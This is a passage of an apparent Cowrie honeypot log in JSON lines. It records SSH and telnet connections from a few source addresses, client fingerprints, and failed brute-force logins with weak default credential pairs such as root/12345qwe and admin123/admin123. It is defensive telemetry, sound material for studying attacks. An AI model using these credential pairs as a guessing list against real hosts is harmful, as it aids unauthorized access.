sa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:43.366969Z","src_ip":"45.156.87.147","session":"9cc41c1f710d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:43.632759Z","src_ip":"45.156.87.147","session":"9cc41c1f710d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34270,"dst_ip":"10.17.0.5","dst_port":22,"session":"5534822af94d","protocol":"ssh","message":"New connection: 91.92.42.227:34270 (10.17.0.5:22) [session: 5534822af94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:44.396465Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:44.717368Z","src_ip":"45.156.87.147","session":"9cc41c1f710d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.183711767196655,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.128540Z","src_ip":"35.205.108.138","session":"f052db9d9fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.347451210021973,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.131485Z","src_ip":"35.205.108.138","session":"1aecfb1b934e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.671150207519531,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.133590Z","src_ip":"35.205.108.138","session":"31baebd30012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.83420443534851,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.135825Z","src_ip":"35.205.108.138","session":"b1002ea7e89f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.001267671585083,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.137412Z","src_ip":"35.205.108.138","session":"86597365c23b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.166674375534058,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.141161Z","src_ip":"35.205.108.138","session":"fa9e130c1c68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.328171491622925,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.142925Z","src_ip":"35.205.108.138","session":"7d8676af1ed6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.493384599685669,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.145023Z","src_ip":"35.205.108.138","session":"2eeefd4bf3df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.659717082977295,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.149603Z","src_ip":"35.205.108.138","session":"931c8dbe72ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.990935564041138,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.151834Z","src_ip":"35.205.108.138","session":"1dc04b4fc808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.828302145004272,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.153866Z","src_ip":"35.205.108.138","session":"238350f1b45f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.1546950340271,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.155589Z","src_ip":"35.205.108.138","session":"904785e48123","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.317848920822144,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.158414Z","src_ip":"35.205.108.138","session":"54945be03df7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.644917726516724,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.160320Z","src_ip":"35.205.108.138","session":"4bb022d51954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.483206033706665,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.162212Z","src_ip":"35.205.108.138","session":"e1692e1c2bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.810917139053345,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.163932Z","src_ip":"35.205.108.138","session":"bec4e7c4bcce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.14752984046936,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.165382Z","src_ip":"35.205.108.138","session":"de8ecf592a4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.386173009872437,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.166762Z","src_ip":"35.205.108.138","session":"3e96e85ab32c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.547688007354736,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.168920Z","src_ip":"35.205.108.138","session":"ab46ec848677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.711473941802979,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.171408Z","src_ip":"35.205.108.138","session":"d85a7178d7ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.873749494552612,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.173054Z","src_ip":"35.205.108.138","session":"45387baeeedc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.036354541778564,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.174442Z","src_ip":"35.205.108.138","session":"764250b3ec54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.205265760421753,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.181410Z","src_ip":"35.205.108.138","session":"d8d0a59fd61b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.368144512176514,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.183116Z","src_ip":"35.205.108.138","session":"b378c1d87394","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.776555Z","src_ip":"91.92.42.227","session":"5534822af94d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:46.779346Z","src_ip":"91.92.42.227","session":"5534822af94d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:47.011895Z","src_ip":"91.92.42.227","session":"25f021c8c578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56724,"dst_ip":"10.17.0.5","dst_port":22,"session":"7980e69b39dd","protocol":"ssh","message":"New connection: 45.156.87.147:56724 (10.17.0.5:22) [session: 7980e69b39dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:48.893385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:48.895923Z","src_ip":"45.156.87.147","session":"7980e69b39dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:48.975247Z","src_ip":"45.156.87.147","session":"7980e69b39dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:49.219895Z","src_ip":"45.156.87.147","session":"7980e69b39dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:49.822912Z","src_ip":"91.92.42.227","session":"25f021c8c578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:50.302847Z","src_ip":"45.156.87.147","session":"7980e69b39dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d4f49df7754","protocol":"ssh","message":"New connection: 91.92.42.227:60998 (10.17.0.5:22) [session: 0d4f49df7754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:51.645288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:53.200927Z","src_ip":"91.92.42.227","session":"0d4f49df7754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:53.203520Z","src_ip":"91.92.42.227","session":"0d4f49df7754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:53.691333Z","src_ip":"91.92.42.227","session":"5534822af94d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":54162,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ec4b315732","protocol":"ssh","message":"New connection: 45.156.87.147:54162 (10.17.0.5:22) [session: 81ec4b315732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:54.499833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:54.536060Z","src_ip":"45.156.87.147","session":"81ec4b315732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:54.634532Z","src_ip":"45.156.87.147","session":"81ec4b315732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda","message":"login attempt [root/nimda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:54.907771Z","src_ip":"45.156.87.147","session":"81ec4b315732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:55.994092Z","src_ip":"45.156.87.147","session":"81ec4b315732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:56.547466Z","src_ip":"91.92.42.227","session":"5534822af94d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.898946046829224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:58.146255Z","src_ip":"129.146.47.44","session":"36f1cf9e45e0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:05:59.892072Z","src_ip":"91.92.42.227","session":"0d4f49df7754","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42444,"dst_ip":"10.17.0.5","dst_port":22,"session":"e80a82e7d493","protocol":"ssh","message":"New connection: 91.92.42.227:42444 (10.17.0.5:22) [session: e80a82e7d493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:00.275150Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41096,"dst_ip":"10.17.0.5","dst_port":22,"session":"21c457536f2a","protocol":"ssh","message":"New connection: 45.156.87.147:41096 (10.17.0.5:22) [session: 21c457536f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:00.309004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:00.313800Z","src_ip":"45.156.87.147","session":"21c457536f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:00.396581Z","src_ip":"45.156.87.147","session":"21c457536f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:00.643950Z","src_ip":"45.156.87.147","session":"21c457536f2a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:01.270977Z","src_ip":"91.92.42.227","session":"e80a82e7d493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:01.286491Z","src_ip":"91.92.42.227","session":"e80a82e7d493","protocol":"ssh"}
